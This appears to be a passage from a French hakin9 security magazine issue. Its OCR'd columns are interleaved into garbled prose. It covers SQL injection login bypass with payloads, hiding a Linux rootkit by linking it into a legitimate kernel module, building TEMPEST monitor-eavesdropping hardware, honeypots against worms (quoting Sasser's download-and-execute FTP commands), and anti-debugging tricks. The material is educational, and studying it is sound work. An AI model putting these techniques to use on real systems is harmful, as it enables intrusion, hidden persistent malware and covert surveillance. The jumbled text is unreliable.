CMS (soit Content Management System, en script affiche alors une page d'ouverture de
anglais) tels que PHP-Nuke ou des solutions session. Une fois que les utilisateurs valides
d'achats électroniques comme osCommerce. ouvrent leur session, ils pourront voir leur nom
Pour être bref – il existe de nombreuses d'utilisateur ainsi que leur mots de passe. Si cette
implémentations convenables pour la combinai-
son PHP/MySQL auxquelles tout un chacun est
souvent confronté en surfant sur le Web. Cette Cet article explique...
combinaison de technologies est tellement uti-
• les techniques de base relatives aux injections
lisée que les taux d'attaques de ces sytèmes SQL,
sont en constante hausse et les injections SQL • les attaques par UNION SELECT,
comptent parmi les techniques les plus utilisées • les magic_quotes et leurs usages.
Attaque
Tableau 1. Caractères de contrôle importants pour les injections SQL (MySQL) syntaxe est vulnérable, puisque, si
tel n'était pas le cas, le script n'aurait
Caractère de contrôle Signification pour l'injection généré aucun message d'erreur.
' (guillemet simple) Si le serveur répond par une erreur L'étape suivante consiste à rendre
SQL, l'application devient vulnéra- la déclaration SQL vraie, de sorte
ble aux injections SQL qu'elle soit traitée par le script puis
/* Tout ce qui suit est considéré soumise au serveur SQL. Comme
comme commentaire extérieur vous pouvez le constater dans le
% Caractère de remplacement (Wild- Tableau 1, la déclaration suivie de
OR 1=1 est toujours vraie. Entrons donc
card)
notre nom d'utilisateur suivi de l'ex-
OR 1=1 Oblige une déclaration à devenir
pression OR 1=1, de manière à obtenir
OR 1=’1 vraie
la chaîne admin ‘ OR 1=1. Malheureu-
OR 1=”1
sement, cette chaîne génère à son
tour un message d'erreur. Essayons
combinaison nom d'utilisateur/mot de dernière un guillemet simple à la donc la proposition suivante exposée
passe n'est pas valide, un message suite du nom de l'utilisateur dans dans la table. Nous changerons OR 1=1
Not a valid user (le nom de l'utilisateur notre script. Le script va émettre en OR 1=’1 et voilà que nous pouvons
et le mot de passe ne sont pas vali- alors le message d'erreur suivant : ouvrir la session. Le script est telle-
des) sera affiché. Nous allons tenter You have an error in your SQL ment gentil qu'il nous retourne le vrai
maintenant d'effectuer une ouverture syntax. Check the manual that mot de passe de l'utilisateur.
de session au moyen d'un nom d'utili- corresponds to your MySQL server Si vous observez maintenant le
sateur valide sans toutefois connaître version for the right syntax to use code source exposé dans le Listing 1,
le mot de passe correspondant. Pour near ''admin'' AND `password` = ''' vous devriez comprendre d'ores et dé-
y parvenir, nous allons mettre au point at line 1 (Une erreur de syntaxe SQL jà les raisons d'un tel comportement.
une attaque par injection SQL. s'est produite dans le script. Veuillez L'instruction d'origine select SELECT *
L'attaque démarre sur un carac- consulter le manuel correspondant FROM `userlist` WHERE `username` =
tère de contrôle (en anglais control à la version de votre serveur MySQL '$username' AND `password` = '$pas-
character) de MySQL. Les caractères pour utiliser la syntaxe appropriée sword' a été modifiée en SELECT * FROM
de contrôle les plus importants sont après ''admin'' ET `password` = ''' `userlist` WHERE `username` = 'admin
exposés dans le Tableau 1. Nous al- sur la ligne 1). Nous avons ici sous ' OR 1='1' AND `password` = '', ce qui
lons tenter d'intercepter la déclaration les yeux une partie de la syntaxe la rend vraie. Nous aurions également
originale SQL du script au moyen de SQL que nous souhaitons attaquer. pu indiquer comme commentaires
caractères de contrôle, en les manipu- Et nous savons de surcroît que cette extérieurs la partie du script suivant
lant. Nous pouvons débuter l'attaque
sur cette base (mais afin de corser
l'affaire, je vous encourage à ne pas
consulter tout de suite le code source
exposé dans le Listing 1).
Nous supposerons que l'utilisa-
teur admin existe (c'est d'ailleurs
souvent le cas). Si nous entrons
le nom d'utilisateur admin, nous ne
pourrons pas ouvrir de session.
Examinons alors ce qui se passe si
nous manipulons la chaîne soumise
à la requête SQL en ajoutant à cette
d'une classe parfaitement dévelop- tion stripslashes() va échouer et la les données d'entrée de l'utilisateur
pée afin de purger les chaînes utili- seule façon de corriger le script con- en cas de pièges dans les données
sateurs de caractères malveillants, siste donc à contrôler la présence de et ce afin de les désarmer. n
il est fort probable qu'il veuille faire
appel à Open Web Application Se-
curity Project du projet PHP Filters.
Sur le réseau :
Vous pouvez consulter le site dont • http://prodownloads.sourceforge.net/yabbse/ – référentiel du projet YaBB SE,
l'adresse est indiquée dans l'Enca- • http://www.owasp.org – Open Web Application Security Project.
dré Sur le réseau.
D
ans l'article publié dans le numéro
précédent (Rootkit personnel dans
Déconnecter un module
GNU/Linux, hakin9 2/2005), nous de la liste
avons présenté le processus de création Pour déconnecter un module de la liste, nous
d'un rootkit pour le système GNU/Linux avec allons exploiter la technique qui consiste en
le noyau de la série 2.4. Le rootkit – vous le la modification directe des objets dans la
trouverez sur le CD hakin9.live joint au maga- mémoire réservée pour le noyau du système
zine – était chargé dans le noyau du système d'exploitation (en anglais direct kernel object
d'exploitation à l'aide d'un module. Comme manipulation). Cette technique, contraire-
nous l'avions dit, le module chargé (conte- ment à celle décrite dans l'article précédent,
nant le code qui intercepte l'appel système ne modifie pas le fonctionnement du système
getdents()) n'était pas dissimulé. C'est pour- d'exploitation – en effet, l'objet caché est plus
quoi, il était facile à détecter – par exemple,
à l'aide de la commande cat /proc/modules
qui affi che tous les modules chargés actuel- Cet article explique...
lement dans le système.
• comment cacher les modules du noyau de
Dans cet article, nous allons nous occuper
Linux.
des méthodes qui permettront de dissimuler
Attaque
cleanup_modula()
{
Ajout des modules Mais il y a une condition impor- ...
Une autre technique permettant tante : les symboles des objets liés cleanup_modulx();
}
de cacher efficacement le module ne peuvent pas se répéter (si l'on lie
consiste à lier ce module à un autre le module A au module B, les sym-
module chargé par défaut par le sys- boles qui s'y trouvent ne doivent pas
tème d'exploitation. Cela peut être, avoir des noms identiques – il s'agit – pour obtenir la liste de tous les
par exemple, le module responsable avant tout des symboles : init _ mo- modules chargés, il faut exécuter la
de la gestion de la carte réseau, du dule et cleanup _ module). commande lsmod. Dans Linux, les
système de fichiers ou du filtre de Les deux modules sont liés fichiers de modules se trouvent dans
paquets. Le plus grand avantage de à l'aide de l'éditeur des liens ld qui le sous-répertoire /lib/modules/.
cette solution est qu'il ne faut pas se fait partie du paquet binutils. Ce pa- Pourtant, comme nous l'avions
soucier du démarrage du module quet est disponible par défaut dans déjà dit, avant d'effectuer les liens,
parce qu'il sera lancé automatique- chaque distribution de Linux. Il faut il faut modifier l'un des modules de
ment par le système d'exploitation. aussi utiliser l'option -r, pour obtenir façon à ce que les noms des symbo-
Il est possible d'établir un lien car en résultat un objet réalloué – c'est- les ne se répètent pas.
le module est un fichier de type ELF à-dire, dans notre cas, le module
réallouable (en anglais Executable résultant que nous renommerons Modification du module
and Linking Format – cf. l'article de ensuite avec le nom original. Par Chaque module qui sera chargé
Marek Janiczek Ingénierie inverse exemple, si nous voulons infecter par le système d'exploitation doit
du code exécutable ELF dans l'ana- le module floppy.o, la procédure se posséder au moins deux symboles :
lyse après intrusion, hakin9 1/2005). présentera comme suit : init _ module et cleanup _ module.
Ce qui est important pour nous, c'est Ces symboles sont utilisés pendant
que le fichier contient du code et des # ld -r floppy.o rootkit.o \ le processus du chargement et de
données que nous pouvons lier à un -o new.o la suppression du module dans
autre fichier de même type. En résul- # mv new.o floppy.o et de la mémoire. Lors du charge-
tat, nous pouvons obtenir un fichier ment d'un module dans la mémoire
exécutable réallouable. Grâce à cet- La meilleure idée est de choisir le à l'aide de l'outil insmod, la fonction
te propriété, nous sommes capables module qui est chargé lors du dé- obj _ fi nd _ symbol localise l'adresse
de lier deux modules l'un à l'autre. marrage du système d'exploitation de la fonction init _ module, pour
que cette adresse, dans la dernière
étape de l'initialisation, soit exploitée
par la fonction init() pour l'appeler
(init _ module).
Nous savons que lors de l'initiali-
sation du module, la fonction init _
module est appelée. De cela, l'unique
Attaque
d'initialisation du module original. 11 caractères. Dans notre cas, que • init _ moduleen init _ modulx,
N'oubliez pas non plus que dans ces ce nom soit init _ modula. Après le • init _ modulaen init _ module,
deux modules, les symboles ne doi- linkage, nous devons encore chan- • cleanup _ module en cleanup _ mo-
vent pas être identiques. ger ce nom en init _ module – ainsi, dulx,
Étant donné que nous n'avons pendant le chargement du module • cleanup _ modula en cleanup _ mo-
pas toujours accès au code source dans la mémoire, la fonction init() dule.
du module original, il est néces- appellera la fonction d'initialisation
saire que notre module soit modifié à partir du module ajouté. Pour modifier la table .strtab, nous
de façon appropriée (cf. l'article Pour laisser les fonctions du pouvons exploiter un éditeur hexa-
Rootkit personnel dans GNU/Linux, module original, nous devons décimal quelconque, par exemple
hakin9 2/2005). à partir de notre module, appeler hexedit. Pour obtenir le décalage
Pendant la modification, il ne la fonction originale init _ module dans le module binaire à partir du-
faut pas oublier une autre limitation (nommée déjà init _ modulx). Cela quel la table commence, nous pou-
relative à la longueur des noms des signifie qu'avant la compilation de vons utiliser la commande readelf
fonctions. Tous les symboles pour notre module, nous devons connaî- -S floppy.o, comme cela est présenté
les objets ELF se trouvent dans tre déjà le nom futur de la fonction au-dessous :
la table des symboles .symtab. La originale init _ module (ici, nous
structure de la section est présentée l'avons appelée init _ modulx). $ readelf -S floppy.o \
dans le Listing 1 (vous la trouverez Nous devons effectuer la même | grep .strtab
aussi dans le fichier d'en-tête /usr/ opération pour la fonction clea- [21] .strtab STRTAB §
include/elf.h). nup _ module. Nous admettons que 00000000 0119e0 001279 00 0 0 1
Le contenu de la section .symtab la fonction originale cleanup _ module
d'un module donné peut être affiché portera le nom cleanup _ modulx. De Maintenant, nous n'avons qu'à
à l'aide de la commande : plus, dans le code de notre module, charger le module de l'éditeur bi-
nous changerons le nom de clea- naire et à modifier les symboles
$ readelf -s <nom_du_module>.o nup _ module en cleanup _ modula, appropriés.
et le corps de la fonction contiendra Maintenant, nous pouvons
Le champ st _ name est un poin- le renvoi à la fonction originale clea- charger le module fl oppy.o infecté
teur à la table contenant les noms nup _ module (alors, après modifica- et le placer dans le sous-réper-
de tous les symboles. Cette table tion, cleanup _ modulx). toire approprié dans le répertoire
(.strtab) comprend les chaînes de Le structure de notre module /lib/modules (/lib/modules /kernel/
caractères terminées par le carac- à compiler devra être similaire à celle drivers/block/ ).
tère null. L'exemple est présenté sur du Listing 2.
la Figure 3. Le code source entier (prêt à être Beauté de la simplicité
lié) est disponible sur le CD joint au Les méthodes de dissimulation des
Modification des noms magazine. Après la compilation du modules présentées dans cet article
des fonctions module et le linkage, nous obtenons sont très simples à comprendre,
Pour appeler une fonction ap- le module résultant qui doit avoir le et ce qui est le plus important – effi-
propriée lors de l'initialisation du même nom que le module original caces. Grâce à elles, la dissimulation
module, il faut modifier le contenu (par exemple floppy.o). du code malicieux (sous forme d'un
de cette table. La méthode la plus module) dans un système Linux est
simple consiste à modifier les noms Modification de la table .strtab simplissime.
de certains symboles dans le fichier La dernière opération à faire est la Mais ce ne sont pas toutes les
de résultat lié – il faudra changer le modification de la table contenant difficultés auxquelles l'auteur des
nom de la fonction init _ module en, les chaînes de caractères (.strtab). rootkits doit faire face. Il peut arriver
par exemple, init _ modulx. Pourtant, Comme nous pouvons supposer, la que la fonction de chargement des
n'oubliez pas qu'avant la modifi - modification du module résultant con- modules soit désactivée dans le
cation, init _ module pointe vers la siste à modifier quelques lettres dans système. Notre rootkit basé sur le
fonction du module original. l'endroit approprié. La méthode plus module sera donc inutile, et il faudra
Avant la compilation de notre élégante consistera à construire de utiliser d'autres techniques. Heu-
module, nous devons choisir le nom nouveau les tables .strtab et .symtab. reusement, il existe des méthodes
de la fonction d'initialisation. Nous Quant à nous, nous nous concentre- permettant d'éviter tous ces incon-
savons que cela ne peut pas être rons sur la modification manuelle. vénients, mais c'est un sujet pour un
init _ module. De plus, le nom de la Les modifications dans le tableau autre article. n
fonction doit être constitué du mê- se ramènent à la modification des
me nombre (ou inférieur) de carac- noms suivants (dans l'ordre donné
tères qu'i nit _ module, par exemple ci-dessous) :
L
es premières études concernant le
phénomène de compromission des on- Cet article explique...
des électromagnétiques remontent aux
• vous aurez assez de connaissance pour com-
années 1950. C’est en espionnant les trans-
mencer à construire votre propre système TEM-
missions de messages russes encryptés que
PEST.
la NSA s’aperçut de faibles cliquetis parasites
dans la tonalité porteuse, qu’émanaient des
Ce qu'il faut savoir...
électro-aimants de la machine d’encodage. En
construisant le dispositif approprié, il fut possi- • vous devez avoir quelques notions de montage
ble de reconstruire le texte en clair sans avoir électronique,
à décrypter les transmissions. Ce phénomène • vous devez connaître les bases de l'électroma-
pris successivement les noms de NAG1A, puis gnétisme.
FS222 dans les années 60, NACSIM5100 dans
les années 70, et finalement TEMPEST (acro-
nyme pour Transient Electromagnetic Pulse
Emanation Standard, bien que cette version À propos de l'auteur
Robin Lobel a mené plusieurs projet de re-
soit également controversée) à partir de 1980.
cherche informatique depuis quelques années,
En 1985 un scientifique Hollandais, Wim
Attaque
fantôme, comme la chaleur, l'odeur de aux mêmes règles et n'offre pas les
cuisine et même votre propre ombre. mêmes possibilités. Contrairement
Figure 1. Rouge, vert et bleu
De telles informations sont indispen- aux émissions électromagnétiques,
se mélangent pour synthétiser
sables aux détectives car elles sont les lumières dans un système infor-
n'importe quelle couleur
leur seul base pour reconstituer ce qui matique ont des rôles spécifi ques,
expériences. En 1998 John Young, s'est réellement passé. Physiquement et sont volontairement placées
un citoyen américain, demande parlant, il y a trois genres de fantômes pour informer de l'état du système.
à la NSA de publier des informa- qui peuvent nous aider à reconstruire Si vous observez les LEDs de plus
tions déclassifiées concernant le les données dans le domaine infor- près, elles répondent également
système TEMPEST. Voyant sa re- matique : électromagnétique, optique aux potentiels électriques, donc la
quête rejetée, il fait appel et obtient et acoustique. moindre fluctuation dans le sys-
finalement en 1999 quelques docu- tème a un effet sur les LEDs et
ments, mais largement censurés. Émission électromagnétique peut être perçue par des capteurs
Très peu d’informations sont dis- La trace la plus discrète et informa- optiques. Cela ne peut cependant
ponible sur ce système. La plupart tive. Partant du principe que tous les être utile que pour des événements
des documents ne font qu’exposer ordinateurs utilisent l'électricité et particuliers dans des conditions
superficiellement le phénomène, qu'un potentiel électrique induit un spéciales. De plus, l'information
sans rentrer dans les détails d’une champ électromagnétique propor- acquise n'est pas forcément inté-
expérience pratique. tionnel au potentiel, nous pouvons ressante.
déduire l'activité électrique interne.
Mais de quoi s'agit-il ? Ceci peut être appliqué aux périphé- Information acoustique
Le principe de TEMPEST et ses dé- riques d'affichage CRT et n'importe À peu près les mêmes possibilités
rivés est de reconstruire les données quel câble ou fil non protégé. qu'avec les émissions optiques.
originales à partir des informations Même moins, car la majorité d'un
fantômes. Un fantôme est une trace Fantômes optiques système informatique est silencieux,
laissée par un objet dans son environ- Bien qu'étant une onde électro- seules les parties mécaniques sont
nement. Une empreinte de pas est un magnétique, la lumière n'obéit pas sujettes à des productions acousti-
ques. Il y a très peu d'applications
pour ce genre d'émission. Un enre-
Sur le réseau : gistreur de clé matériel basé sur les
événements acoustiques pourrait
• http://upe.acm.jhu.edu/websites/Jon_Grover/page2.htm – des bases sur le van
être un bon exemple.
Eck phreaking,
• http://www.eskimo.com/~joelm/tempest.html – la page d'information complète
mais non officielle de TEMPEST, Une étude en
• http://www.noradcorp.com/2tutor.htm – page de la compagnie NoRad CRT Moni- particulier : les
tors as a Source of Electromagnetic Waves,
• http://xtronics.com/kits/rcode.htm – code de couleur des résistances,
émissions des
• http://web.telia.com/~u85920178/begin/opamp00.htm – l’explication sur les am- moniteurs CRT
plificateurs opérationnels, Une des émissions les plus inté-
• http://www.hut.fi /Misc/Electronics/circuits/vga2tv/vga2palntsc.html – le dispositif ressantes vient du périphérique
de conversion des signaux de synchronisation de Tomi Engdahl. d'affi chage, car son activité interne
est clairement en rapport avec des
Figure 5. Écran d'exemple, son codage électrique correspondant et son induction électromagnétique
Application
aux moniteurs CRT
Avant d'être projeté sous la forme
d'un flux d'électrons, le signal vidéo
est amplifié à un voltage élevé.
Cette amplification génère de fortes
ondes électromagnétiques, qui, si
le moniteur n'est pas protégé suf-
fisamment électromagnétiquement,
peuvent être capturées jusqu'à une Figure 7. Schéma d'un filtre passe-haut
• Ue, Us – entrée et sortie respec- pouvez utiliser n'importe quelle autre • R2, R3 – résistances,
tivement, combinaison de résistances et con- • OA – amplificateur opérationnel,
• Y1 pour le signal résultant. densateurs, tant que le produit reste • V+, V- – alimentation de l'AO,
constant. • Ue, Us – entrée et sortie,
La fréquence critique du système • Y1 – signal résultant.
est déterminée par fc=1/(2*π*R*C), Amplification
avec fc la fréquence critique (fré- Le signal filtré a un potentiel très Il est appelé inverseur et c'est le plus
quence en dessous de laquelle le bas (quelques mV). Pour exploiter simple circuit d'amplification à mon-
filtre coupera tout signal), R pour la le signal nous devons l'amplifi er ter (mais voir également l'Encadré
valeur de la résistance et C pour la (c'est-à-dire multiplier le voltage Les choses à se rappeler lorsqu'on
capacité du condensateur. par un facteur constant) à un ni- amplifie le signal). La valeur des
Nous pourrions configurer le sys- veau acceptable. Comme vu plus deux résistances déterminera le
tème pour disons une fréquence de haut, le signal vidéo est compris
1.6 MHz (donc toutes les fréquences entre 0 V et 0.7 V. Pour arriver
inférieurs a 1.6 MHz sont éliminées), à ça nous allons utiliser un amplifi - Les choses à se rappe-
ce qui nous conduit à 1.6*106 =1/ cateur opérationnel (AO, voir aussi ler lorsqu'on amplifie le
(2*π*R*C). De cette manière R*C=1/ l'Encadré Sur le réseau), qui est un
signal
(2*π*1.6*106)=10 -7. composant électronique trouvable Nous devons garder certaines choses
Cette fréquence a été choisie car pour une dizaine d'euros. en tête. D'abord, il est pratique de
elle laisse une bonne marge, et les Comme nous traitons des hau- choisir une résistance R3 variable, de
condensateurs et résistances pour tes fréquences (MHz), nous devons cette manière nous pouvons choisir le
cette fréquence sont faciles à trou- faire attention en choisissant cet coefficient même quand le circuit est
ver. Pour arriver à ce produit, nous amplificateur opérationnel : les AO assemblé. Plus important, l'AO doit être
pourrions choisir un condensateur classiques ne peuvent pas traiter de alimenté ! C'est quelque chose auquel
de 1 nF (1 nano Farad, équivalent telles fréquences. Au magasin, vous il faut porter attention lorsqu'on choisit
à 10 -9 Farad) et une résistance de devez donc demander un amplifica- l'AO, car ils n'ont pas tous les mêmes
besoins en terme d'alimentation. Géné-
100 Ω (100 Ohms). teur opérationnel vidéo. Le modèle
ralement c'est autour de 12 V ou 15 V.
On arrive à 10 -9*102 =10 -7, donc AD844AN est un exemple, cepen-
Il faut également s'assurer de savoir
nous avons notre produit, et le sys- dant il n'est pas forcément disponible monter un AO avant de l'assembler.
tème est configuré pour la fréquence dans tous les pays. Il faut regarder
Attaque
Figure 10. SUB-D HD Connector Figure 11. SCART – Schéma de connectivité Péritel
Parallèlement, on envoie des signaux de synchronisation. Ils peuvent être générés par
deux générateurs basse fréquences ou directement par une carte vidéo.
Pour visualiser les informations sur un écran TV, le circuit de conversion des si-
gnaux de synchronisation de Tomi Engdahl peut être utilisé (Figure 12). Comme nous
n’avons pas vraiment besoin de ce dispositif, une description est disponible à cette
adresse : http://www.hut.fi /Misc/Electronics/circuits/vga2tv/vga2palntsc.html.
Les composants
En pratique, on peut utiliser une multiplaque (Figure 13 ; 1) pour construire le circuit.
C'est une planche avec une grille de trous liés par des lignes de cuivre, donc vous
n'avez pas besoin de faire votre propre circuit imprimé – il est déjà prêt à l'emploi. Ce
genre de planche est disponible dans n'importe quelle boutique d'électronique.
Une résistance et une diode sont montrées sur la Figure 13 (respectivement 2, 3).
Pour les condensateurs, il y en a plusieurs genres disponibles, mais ça revient au mê-
me (Figure 13 ; 4, 5, 6). Enfin, l'amplificateur opérationnel (Figure 13 ; 7) est nécessaire
– pour l'instant nous n'avons pas besoin de plus d'explication, mais vous pouvez vous
référer à la page de Harry Lythall's pour les détails (http://web.telia.com/~u85920178/
begin/opamp00.htm). Tous ces composants sont disponibles pour quelques euros
chacun.
L'assemblage
Pour assembler le circuit complet, vous aurez besoin d'un fer à souder (même un mo-
dèle simple sera suffisant) et du fil d'étain pour souder les composants électroniques
Figure 13. Éléments utilisés dans à la multiplaque.
l'assemblage du circuit TEMPEST : Insérez chaque composant électronique au dos de la multiplaque (c'est-à-dire, le
1 – une multiplaque ; 2 – une coté sans cuivre) de manière à ce que les pattes apparaissent de l'autre coté. Appli-
résistance ; 3 – une diode ; 4, 5, 6 quez alors l'étain sur le cuivre avec le fer à souder – une goutte d'étain viendra souder
– condensateurs ; 7 – amplificateur la patte du composant électronique au cuivre.
Utilisez les circuits de cuivre comme vous le sentez, tant que vous respectez
opérationnel
les connections comme montré sur le schéma du circuit TEMPEST (Figure 14).
coefficient d'amplification par la Vous pouvez lier deux lignes de cuivres en soudant un câble électrique d'une ligne
formule suivante : k = - R3/R2. Pour à l'autre.
amplifier une centaine de fois, on
peut choisir par exemple R2=1 Ω
et R3=100 Ω. de ces problèmes dépend du ma- de 70 Hz, 70 impulsions par secon-
tériel utilisé. L'étape finale inclut les des doivent être générées pour le
Couper la composante signaux de synchronisation et un premier canal, et 600*70=42000
négative périphérique d'affichage. impulsions par secondes doivent
C'est la partie la plus facile : elle con- être générées pour le second ca-
siste juste à rajouter une diode pour Les signaux de nal.
Attaque
E
n dépit de toutes ses qualités, l'usage de systèmes, après un temps donné ou à la
universel des techniques Internet dans commande de l'intrus – commence une atta-
les affaires peut s'avérer dangereux que DoS sur une cible déterminée, ce qui, vu
pour les données traitées. Parmi les dangers la grande quantité d'instances du virus, peut
qui menacent nos systèmes informatiques figu- rendre impossible le travail des systèmes
rent les virus et les vers de réseau dont le but et des réseaux de la victime.
principal est de se multiplier et de se propager D'après les recherches effectuées au
– c'est-à-dire attaquer et contaminer le plus début 2004 par la société Sandvine, les con-
grand nombre d'ordinateurs possible. La stra- nexions générées par les vers constituent de
tégie de leur fonctionnement est très simple : 2% jusqu'à 12% de tout le trafi c réseau sur
trouver et prendre le contrôle d'un système vul- Internet. Rien qu’aux États Unis, une telle
nérable, et ensuite, à l'aide de celui-ci, scanner exploitation de la bande passante coûte aux
le réseau et attaquer d'autres machines.
Chaque machine contrôlée par ce pro-
gramme malicieux devient à son tour un Cet article explique...
agresseur prêt à s'attaquer tant à un ordina-
• comment, à l'aide des honeypots, intercepter les
teur personnel qu'aux systèmes d'une grande
vers de réseau,
entreprise ou d'une institution d'état. De plus,
Défense
Propagation
Le processus de propagation est une
Figure 2. Phases du fonctionnement du ver Sasser phase du transfert du ver à partir de
l'ordinateur infecté vers les systèmes
Listing 1. Les commandes exécutées par Sasser dans le système attaqués. Le plus souvent, elle con-
infecté siste à distribuer des copies du ver
dans les pièces jointes du courrier
echo off électronique ou à exploiter les vulné-
echo open <IP_du_système_source> 5554>>cmd.ftp
rabilités des services.
echo anonymous>>cmd.ftp
Après l'attaque sur un ordina-
Défense
echo user>>cmd.ftp
echo bin>>cmd.ftp teur vulnérable, MSBlaster lance le
echo get <numéro>_up.exe>>cmd.ftp processus de shell écoutant le port
echo bye>>cmd.ftp 4444 TCP. En même temps, dans
echo on
le système source, il démarre le
ftp -s:cmd.ftp
<numéro>_up.exe
serveur TFTP et, tout en se connec-
echo off tant au shell de l'ordinateur attaqué,
del cmd.ftp il exécute les commandes qui char-
echo on gent le programme du ver à partir
du système origine et le lancent
fichiers binaires contenant leur code qui travaille par défaut sur ce port, commandes dans le système à partir
exécutable. Ces fichiers peuvent être et ensuite, cette adresse IP essaie duquel l'attaque est effectuée ou
analysés et exploités dans la créa- de se connecter à un port élevé pas à télécharger et lancer le programme
tion des vaccins pour les program- standard, cela peut signaler une ten- anti-virus. Dans le cas des ordina-
mes anti-virus et les modèles pour tative de connexion au shell lancé teurs que nous administrons (nous
les systèmes IDS. Ils peuvent être par un exploit. Il faudra donc lier avons les droits d'administration),
aussi lancés dans un environnement à ce port non standard un script d'en- il est préférable d'utiliser pour cela
séparé, sous contrôle, pour mieux registrement et analyser les données des programmes pour le travail dis-
connaître leur fonctionnement. qui y seront envoyées. C'est de cela tant – ici, c'est l'application SSH.
dont dépendent toutes nos démar- Paradoxalement, nous pouvons
Parasites inconnus ches futures. aussi effectuer le nettoyage auto-
Nous savons déjà capturer les vers matique dans les systèmes dans
connus – nous savons comment ils Réponse à l'attaque lesquels nous n'avons pas les droits
se propagent et quelles vulnérabilités Dans certaines situations, par exem- d'administration : en exploitant la
ils exploitent. Mais que faire en cas de ple lorsque nous administrons un même vulnérabilité grâce à laquelle
nouveaux vers, pas encore connus ? grand réseau composé de plusieurs le ver a accédé à l'ordinateur. Bien
Est-il possible de les capturer à l'aide stations de travail tournant sous le sûr, ce n'est pas toujours facile parce
des honeypots d'une façon similaire contrôle des systèmes Windows qu'il faut posséder le programme ap-
à celle présentée ci-dessus ? 2000/XP, il est préférable de cons- proprié (exploit) qui permettra d'utili-
Oui, c'est possible. Mais c'est truire un honeypot qui, après la dé- ser la faille. D'habitude, cela ne pose
beaucoup plus fastidieux parce qu'il tection d'un programme malicieux, pas de problèmes – très souvent la
faut prendre connaissance du mode pourra le supprimer automatique- description de l'erreur est généra-
de fonctionnement du ver donné ment. Évidemment, les mises à jour lement connue. Même si nous ne
(ce qui implique la nécessité de régulières des bases de données sommes pas capables de concevoir
surveiller constamment les événe- de nos programmes anti-virus et le l'exploit nous-mêmes, il est probable
ments qui ont lieu sur le honeypot). respect des règles de cyberhygiène qu'il sera accessible sur un site ou
Tout d'abord, nous devons préparer sont aujourd'hui la meilleure façon de une groupe de discussion consacrés
les pièges appropriés qui simuleront se protéger contre les vers et virus. à la sécurité informatique. Néan-
le fonctionnement du plus grand Mais peut-être les vers qui seront moins, il faut rester prudent parce
nombre d'applications et enregistre- créés dans le futur seront si avancés que ces types d'actions ne sont rien
ront toutes les données qui lui sont que l'élaboration de leur modèle uni- d'autre que une intrusion non autori-
envoyées. Pour cela, nous pouvons versel sera très difficile et fastidieux, sée dans un ordinateur. En dépit de
nous servir d'un script similaire à ce- voire impossible. Même aujourd'hui, notre bonne volonté, ces démarches
lui présenté dans le Listing 3. depuis l'apparition du parasite jus- sont moralement douteuses, et dans
Une fois le honeypot construit qu'à la création du vaccin approprié, la plupart des cas, illégales.
et démarré, il faut surveiller régu- cela prend encore du temps. Nous allons montrer en pratique
lièrement les informations collec- En cas d’attaque par MSBlaster, les deux méthodes. Le honeypot
tées pour pouvoir réagir de façon Sasser et plusieurs autres vers, reconfiguré supprimera le ver MS-
appropriée. Par exemple, si nous il est assez facile de construire un Blaster en accédant à l'ordinateur
remarquons que l'un des ports TCP honeypot qui sera capable de les infecté via la faille dans le service
reçoit des chaînes de caractères res- supprimer automatiquement. Cela DCOM RPC, par contre les systè-
semblant à une tentative de débor- est dû au fait que la suppression du mes contaminés par Sasser seront
dement du tampon dans l'application ver est réduite à exécuter quelques nettoyés à l'aide du programme Sas-
ser Removal Tool, créé par la société
F-Secure.
Sur le réseau : Au-début, nous devons élargir la
configuration de notre réseau de la
• http://www.honeyd.org – le site du programme Honeyd,
Figure 4. Les serveurs et les stations
• http://sshwindows.sourceforge.net – le site du port de l'application OpenSSH pour
de travail seront dotés du service
les systèmes Windows,
• http://freessh.org – la liste des serveurs et clients SSH pour différents systèmes SSH qui authentifie les utilisateurs
d'exploitation, à l'aide de clés cryptographiques (ce
• http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c – l'ex- processus est présenté dans l'En-
ploit utilisant la vulnérabilité dans RPC DCOM, cadré Installation et configuration
• http://www.f-secure.com/v-descs/sasser.shtml – Sasser Removal Tool, du serveur SSH dans le système
• http://www.sysinternals.com/ntw2k/freeware/pstools.shtml – le kit d'outils gratuits Windows). De plus, nous lançons
pour les systèmes Windows NT et 2000. sur le honeypot le service TFTP qui
permet de télécharger le programme
L
es auteurs des logiciels commerciaux actuellement installé dans le système et chargé
ne sont pas capables ou ne voient pas dans la mémoire. En cas de détection, vous
la nécessité de sécuriser leurs œuvres pouvez décider du comportement de votre logi-
contre le craquage. Bien sûr, les systèmes de ciel. Toutes les méthodes présentées marchent
sécurisation idéaux ne permettant pas aux pi- sans aucun problème sous Windows 9x mais
rates de créer un patch ou un générateur de dans le cas des autres versions de Windows
clés n'existent pas. Si cependant vous tentez (ME/NT/XP/2000), le fonctionnement de cer-
de le rendre le plus compliqué possible, il se taines d'entre elles peut être moins performant.
peut que le pirate renonce à votre logiciel Cela est dû aux niveaux de sécurité plus élevés
et qu'il en choisisse un autre insuffisamment dans les versions plus récentes de Windows
protégé. Examinons donc de près les tech-
niques grâce auxquelles votre application ne
sera pas une victime facile. Cet article explique...
• comment sécuriser votre propre logiciel contre
Détecter SoftIce le craquage,
Le pirate informatique ne peut pas se passer
• comment détecter la présence des débogueurs
du débogueur. C'est grâce à lui qu'il peut suivre SoftIce et OllyDbg,
instruction par instruction le code du logiciel
Défense
end;
tions de ce type), le pirate verra lors
{........partie suivante du logiciel......}
du déboguage le code qui ne lui per-
mettra pas l'interprétation détaillée
procedure TForm1.enregistrementClick(Sender: TObject); des instructions importantes. Le
begin code débogué sera si sali qu'il serait
if variable=1 then
très difficile d'y trouver les instruc-
ExitProcess(0);
{si la variable n'est pas égale à 1, vous pouvez continuer}
tions standard.
end; Le craquage du logiciel sans
supprimer les junks est un vrai
jmp $+4 if
FindWindowEx(0,0,0, §
int 20h
'File Monitor - Sysinternals: www.sysinternals.com') <> 0
then
Les instructions de type jmp $(+/- begin
nombre) permettent de se déplacer ExitProcess(0);
d'un nombre des octets donné (en end;
E
n pleine nuit, un couloir vide résonne ser de traces. Tout ceci aurait pu être évité si
du son de verres brisés, suivi du bruit seulement des contrôles appropriés avaient été
étouffé de pas se dirigeant vers la salle, mis en place.
sans surveillance, où se trouvent les serveurs. Le présent article a pour objectif de pré-
